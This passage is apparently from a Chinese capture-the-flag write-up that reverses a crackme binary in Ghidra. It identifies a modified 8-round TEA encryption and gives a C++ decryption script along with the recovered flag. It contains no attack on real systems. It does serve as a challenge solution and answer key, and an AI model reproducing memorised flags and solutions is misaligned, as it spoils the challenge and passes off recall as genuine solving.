我们还是能看出点东西的。第 25-27 行将一串明文 key 与上一个函数初始化的值进行异或计算得到用于加密的 Key。但由于 IDA 的反编译器问题，加密过程反编译代码明显缺乏规律，让人看不出特征。

切换到 Ghidra（通过搜索字符串查找主函数，再跳转）：

1
void __cdecl FUN_00401190(int param_1)
2

3
{
4
  uint uVar1;
5
  uint uVar2;
6
  bool bVar3;
7
  uint local_34;
8
  int local_30;
9
  int local_2c;
10
  int local_28;
11
  int local_24;
12
  int local_20;
13
  byte local_1c [20];
14
  uint local_8;
15

16
  local_8 = DAT_00404000 ^ (uint)&stack0xfffffffc;
17
  local_1c[0] = 'I';
18
  local_1c[1] = 'a';
19
  local_1c[2] = 'm';
20
  local_1c[3] = 'T';
21
  local_1c[4] = 'h';
22
  local_1c[5] = 'e';
23
  local_1c[6] = 'K';
24
  local_1c[7] = 'e';
25
  local_1c[8] = 'y';
26
  local_1c[9] = 'Y';
27
  local_1c[10] = 'o';
28
  local_1c[0xb] = 'u';
29
  local_1c[0xc] = 'K';
30
  local_1c[0xd] = 'n';
31
  local_1c[0xe] = 'o';
32
  local_1c[0xf] = 'w';
33
  local_1c[0x10] = 0;
34
  for (local_34 = 0; (int)local_34 < 0xf; local_34 = local_34 + 1) {
35
    uVar1 = local_34 & 0x80000007;
36
    if ((int)uVar1 < 0) {
37
      uVar1 = (uVar1 - 1 | 0xfffffff8) + 1;
38
    }
39
    local_1c[local_34] = local_1c[local_34] ^ (byte)*(undefined4 *)(&DAT_004043d8 + uVar1 * 4);
40
  }
41
  local_2c = 0;
42
  local_28 = 0;
43
  local_24 = 0;
44
  local_20 = 0;
45
  memcpy(&local_2c,local_1c,0x10);
46
  local_30 = 4;
47
  do {
48
    uVar1 = *(uint *)(param_1 + 4 + (4 - local_30) * 8);
49
    uVar2 = (uVar1 * 0x10 + local_2c ^ uVar1 + 0x5e2377ff ^ (uVar1 >> 5) + local_28) +
50
            *(int *)(param_1 + (4 - local_30) * 8);
51
    uVar1 = (uVar2 * 0x10 + local_24 ^ uVar2 + 0x5e2377ff ^ (uVar2 >> 5) + local_20) + uVar1;
52
    uVar2 = (uVar1 * 0x10 + local_2c ^ uVar1 + 0xbc46effe ^ (uVar1 >> 5) + local_28) + uVar2;
53
    uVar1 = (uVar2 * 0x10 + local_24 ^ uVar2 + 0xbc46effe ^ (uVar2 >> 5) + local_20) + uVar1;
54
    uVar2 = (uVar1 * 0x10 + local_2c ^ uVar1 + 0x1a6a67fd ^ (uVar1 >> 5) + local_28) + uVar2;
55
    uVar1 = (uVar2 * 0x10 + local_24 ^ uVar2 + 0x1a6a67fd ^ (uVar2 >> 5) + local_20) + uVar1;
56
    uVar2 = (uVar1 * 0x10 + local_2c ^ uVar1 + 0x788ddffc ^ (uVar1 >> 5) + local_28) + uVar2;
57
    uVar1 = (uVar2 * 0x10 + local_24 ^ uVar2 + 0x788ddffc ^ (uVar2 >> 5) + local_20) + uVar1;
58
    uVar2 = (uVar1 * 0x10 + local_2c ^ uVar1 + 0xd6b157fb ^ (uVar1 >> 5) + local_28) + uVar2;
59
    uVar1 = (uVar2 * 0x10 + local_24 ^ uVar2 + 0xd6b157fb ^ (uVar2 >> 5) + local_20) + uVar1;
60
    uVar2 = (uVar1 * 0x10 + local_2c ^ uVar1 + 0x34d4cffa ^ (uVar1 >> 5) + local_28) + uVar2;
61
    uVar1 = (uVar2 * 0x10 + local_24 ^ uVar2 + 0x34d4cffa ^ (uVar2 >> 5) + local_20) + uVar1;
62
    uVar2 = (uVar1 * 0x10 + local_2c ^ uVar1 + 0x92f847f9 ^ (uVar1 >> 5) + local_28) + uVar2;
63
    uVar1 = (uVar2 * 0x10 + local_24 ^ uVar2 + 0x92f847f9 ^ (uVar2 >> 5) + local_20) + uVar1;
64
    uVar2 = (uVar1 * 0x10 + local_2c ^ uVar1 + 0xf11bbff8 ^ (uVar1 >> 5) + local_28) + uVar2;
65
    *(uint *)(param_1 + (4 - local_30) * 8) = uVar2 ^ 0xf;
66
    *(uint *)(param_1 + 4 + (4 - local_30) * 8) =
67
         (uVar2 * 0x10 + local_24 ^ uVar2 + 0xf11bbff8 ^ (uVar2 >> 5) + local_20) + uVar1 ^ 0xf;
68
    bVar3 = local_30 != 0;
69
    local_30 = local_30 + -1;
70
  } while (bVar3);
71
  FUN_0040173b(local_8 ^ (uint)&stack0xfffffffc);
72
  return;
73
}

展开收起

可以很清楚的看出就是 Tea 加密，不过用重复计算和不同的 sum 值来代替了循环加密。

将第二次计算的 bc46effe 减去 5e2377ff 会发现结果还是 5e2377ff，所以可以知道 5e2377ff 就是 delta 值，那么这就是一个完整的从 delta 值开始的 Tea 加密。

并且两两计算为一组，可以看出是 8 轮加密的 Tea，并且最后将加密完的值再异或上了 0xf。

解密脚本：

1
#include <iostream>
2
#include <Windows.h>
3

4
void tea_decrypt(uint32_t v[2], const uint32_t k[4])
5
{
6
    uint32_t v0 = v[0], v1 = v[1];
7

8
    uint32_t sum = 0x5E2377FF * 8;
9

10
    uint32_t delta = 0x5E2377FF;
11

12
    for (uint32_t i = 0; i < 8; i++)
13
    {
14
        v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
15
        v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
16
        sum -= delta;
17
    }
18

19
    v[0] = v0;
20
    v[1] = v1;
21
}
22

23
int main()
24
{
25
  unsigned char Key[] =
26
  {
27
        0x2D,0xF7,0x3D,0x42,0x01,0x9A,0xF5,0x05,0x1D,0xCF,0x3F,0x63,0x22,0x91,0xD1,0x77
28
  };
29
    unsigned char EncFlag[] = {
30
      0xDC,0x45,0x1E,0x03,0x89,
31
      0xE9,0x76,0x27,0x47,0x48,
32
      0x23,0x01,0x70,0xD2,0xCE,
33
      0x64,0xDA,0x7F,0x46,0x33,
34
      0xB1,0x03,0x49,0xA3,0x27,
35
      0x00,0xD1,0x2C,0x37,0xB3,
36
      0xBD,0x75 };
37
    for (int i = 0; i < 4; i++)
38
    {
39
        *(uint32_t*)(EncFlag + i * 8) ^= 0xf;
40
        *(uint32_t*)(EncFlag + i * 8 + 4) ^= 0xf;
41
        tea_decrypt((uint32_t*)(EncFlag + i * 8), (uint32_t*)Key);
42
    }
43

44
    printf("%.32s\n",EncFlag);
45
  return 0;
46
}

展开收起

得到 Flag：NSSCTF{!!!Y0u_g3t_th3_s3cr3t!!!}

Footnotes#

std::rand ↩